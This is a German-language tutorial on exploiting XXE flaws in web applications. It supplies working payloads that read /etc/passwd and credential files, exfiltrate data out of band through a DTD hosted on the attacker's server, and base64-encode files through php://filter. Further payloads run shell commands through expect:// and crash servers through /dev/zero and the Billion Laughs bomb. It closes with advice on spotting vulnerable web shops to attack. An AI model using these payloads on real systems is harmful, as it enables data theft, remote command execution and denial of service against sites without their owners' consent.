Diese Sicherheitslücke entsteht, wenn sich innerhalb der XML-Nachricht die an ein Skript gesendet wird, sich neue Entitäten definieren lassen.
Ein Beispiel:
<?xml version="1.0"?> <gruss> Hallo, Welt! </gruss>
Hier wird einfach nur "Hallo Welt" angezeigt.
Anders sieht es hier aus:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
Hier wird die Datei /etc/passwd auf der Webseite angezeigt. Natürlich geht das auch mit anderen Dateien, die zum Beispiel Datenbank-Passwörter enthalten können.
In einigen Fällen bekommen wir nichts angezeigt dann können wir folgendes probieren:
Auf einen Server laden wir folgende Datei hoch:
lol.dtd:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM '%file;'>"> %all;
An das verwundbare Skript senden wir:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://deinserver/lol.dtd"> %dtd;]> <roottag>&send;</roottag>
Wenn es sich bei dem verwundbaren Skript um ein PHP-Skript handelt, kann es passieren, daß wir die Fehlermeldung "remote host file access not supported" erhalten. In diesem Fall müssen wir anstelle von "file://" "php://" nehmen.
Hier ein Beispiel:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >]><foo>&xxe;</foo>
Wir erhalten jetzt den Inhalt der Datei als Base64-String und können ihn entschlüsseln.
OS Command Injection:
Wenn bei PHP der Parser "expect://" verfügbar ist, kann man Shell-Befehle einschleusen. Ich muss aber gleich dazu sagen, daß "expect://" nicht standardgemäß vorhanden ist und man es nur sehr selten findet.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://uname -a" >]><foo>&xxe;</foo>
DoS-Attacken:
Riesige Datei laden:
Die Datei /dev/zero unter Linux liefert beim Aufruf unendlich viele Nullen und wenn wir diese nun aufrufen und Leserechte haben kommt die Webseite zum erliegen.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/zero" >]><foo>&xxe;</foo>
Ein weiteres Beispiel ist die XML-Bombe (Billion Laughs):
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
Das Dokument enthält das Wurzelelement lolz, dieses enthält das Element lol9, lol9 enthält 10 lol8 Strings, lol8 enthält 10 lol7 Strings usw. Am Ende braucht das XML-Dokument im Speicher ca. 3 Gigabyte.
Schlusswort:
Solche Sicherheitslücken lassen sich nur sehr schlecht mit der Hilfe von Google-Dorks finden. Am besten bei Webshops oder ähnlichem mal im Firefox den Live HTTP Headers im Auge behalten und schauen, ob XML-Daten im POST-Feld gesendet werden.